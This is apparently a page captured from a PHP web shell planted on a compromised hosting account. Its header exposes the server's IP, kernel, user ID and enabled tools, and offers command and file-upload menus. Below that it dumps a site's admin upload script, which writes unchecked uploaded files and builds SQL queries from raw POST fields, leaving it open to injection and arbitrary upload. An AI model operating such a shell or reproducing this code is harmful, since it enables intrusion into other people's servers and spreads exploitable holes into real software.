Server IP : 2a02:4780:11:1361:0:bf7:7935:10 / Your IP : 18.117.121.244 Web Server : LiteSpeed System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u200767797 ( 200767797) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u200767797/domains/drusonpharma.com/public_html/admin/dist/css/../include/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("connection.php"); $target_path = "div/"; $target_path = $target_path.basename( $_FILES['icon']['name']); $path_img = 'https://www.elkosgroup.in/admin/dist/include/divisions/'; $target_path2 = "divisions/"; $target_path2 = $target_path2.basename( $_FILES['image']['name']); $target_path3 = $target_path2.basename( $_FILES['banner']['name']); if(move_uploaded_file($_FILES['image']['tmp_name'], $target_path2)) { $path_img = $path_img.$_FILES['image']['name']; } else{ echo "Sorry, file not uploaded, please try again!"; } if(move_uploaded_file($_FILES['banner']['tmp_name'], $target_path3)) { $path_img2 = $path_img.$_FILES['banner']['name']; } else{ echo "Sorry, file not uploaded, please try again!"; } $title = $_POST['title']; $desc = $_POST['desc']; $idf = $_POST['idf']; if($idf=='insert'){ $query = "insert into divisions(`image`,`title`,`banner`,`description`) VALUES ('".$path_img."','".$title."','".$path_img2."','".$desc."')"; $s = mysqli_query($con,$query); $a='Added'; }else{ $uid = $_POST['id']; $s=mysqli_query($con,"UPDATE `divisions` SET `image`= '".$path_img."',`banner`= '".$path_img2."',`title`= '".$title."',`description`= '".$desc."' WHERE `id` = '".$uid."'"); $a='Updated'; } if($s){ echo "<script> alert('Division $a.'); window.location.href='https://www.elkosgroup.in/admin/dist/divisions.php'; </script>"; }else { echo "<script> alert('Error.'); window.location.href='https://www.elkosgroup.in/admin/dist/divisions.php'; </script>"; } ?>